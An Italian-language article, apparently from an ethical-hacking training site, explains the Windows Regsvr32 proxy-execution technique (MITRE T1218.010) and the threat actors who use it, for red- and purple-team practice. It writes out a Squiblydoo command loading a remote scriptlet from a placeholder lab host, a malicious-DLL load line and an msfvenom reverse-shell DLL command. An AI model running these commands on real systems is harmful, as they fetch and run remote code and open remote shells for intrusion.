Esecuzione Proxy via Regsvr32: System Binary Proxy Execution — Regsvr32 (T1218.010)

Regsvr32.exe è un'utility a riga di comando firmata Microsoft, distribuita nativamente in Windows, il cui scopo legittimo è registrare e deregistrare controlli OLE e librerie DLL nel registro di sistema. La sua natura di binario fidato la rende un vettore ideale per il proxy execution di codice malevolo: gli attaccanti la sfruttano per lanciare payload sotto l'ombrello di un processo firmato, aggirando controlli di application allowlisting e riducendo la superficie di detection.

La tecnica è mappata sulla tattica TA0005 (Defense Evasion) e opera tipicamente nelle fasi di Execution e Persistence della kill chain, spesso subito dopo l'accesso iniziale o come meccanismo di lancio di secondo stadio. La variante più nota, soprannominata Squiblydoo, sfrutta la capacità di regsvr32 di essere network-aware: passando un URL come argomento è possibile caricare uno scriptlet COM remoto senza scrivere nulla nel registro, eludendo controlli basati su modifiche di configurazione.

I numeri parlano chiaro: 11 gruppi APT documentati, 23 famiglie di malware e 2 campagne strutturate che abusano di questo binario, da attori state-sponsored come APT32, Kimsuky e Leviathan fino a ecosistemi criminali dominati da Emotet, QakBot, Dridex e ransomware come Egregor e Ragnar Locker. La ricorrenza trasversale rende questa tecnica un pilastro del living-off-the-land moderno.

Per un red team, l'abuso di regsvr32.exe è tra le tecniche living-off-the-land più affidabili su Windows moderni. Il presupposto è che il binario sia firmato Microsoft e presente nativamente in *C:\Windows\System32* e *C:\Windows\SysWOW64*, quindi disponibile senza drop di file aggiuntivi.

La variante classica Squiblydoo carica uno scriptlet COM remoto senza toccare il registro. Il comando canonico è:

regsvr32.exe /s /n /u /i:http://<host-lab>/payload.sct scrobj.dll

Dove /s silenzia l'output, /u indica unregister (che innesca comunque l'esecuzione del blocco Unregister dello scriptlet), /i passa l'URL come parametro al modulo scrobj.dll, il COM Scriptlet Runtime. Nel lab, il file .sct è un XML che incapsula VBScript o JScript per il primo stadio. Attori come APT19 e WIRTE hanno usato questa esatta catena per bypassare AppLocker in configurazione default.

Per il caricamento diretto di DLL malevole — pattern osservato in TA551, Emotet, QakBot e Valak — la sintassi è più semplice:

regsvr32.exe /s malicious.dll

La DLL deve esportare DllRegisterServer (o DllInstall con flag /i). Nel framework Covenant (open source) è disponibile un launcher che genera automaticamente .sct per il deploy di Grunt listener; anche Koadic (open source) offre stager basati su regsvr32 per il post-exploitation.

Per la generazione del payload, msfvenom dalla suite Metasploit Framework (open source, con versione Pro a pagamento) produce DLL compatibili:

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<lab-ip> LPORT=443 -f dll -o payload.dll

Per scriptlet COM, GreatSCT (open source, archiviato ma funzionante) e Nps_Payload (open source) generano .sct offuscati pronti all'uso in ambiente controllato.

Catene d'attacco realistiche osservate includono: Scheduled Task che invoca regsvr32 con URL remoto (pattern APT32), Registry Run Key con stringa regsvr32 %path%\ctfmonrn.dll /s per persistenza a boot (Inception), e caricamento di miner XMRig via DLL (Blue Mockingbird). In esercizi purple team, alternare invocazione con e senza flag /s e variare il parent process (cmd, powershell, wscript, Office) permette di misurare la copertura di detection su combinazioni parent-child anomale. Documenta sempre PID, hash SHA-256 del payload e timestamp per il debrief.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo

TEST GRATUITO
2 minuti · 7 domande Che professionista cyber sei? Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.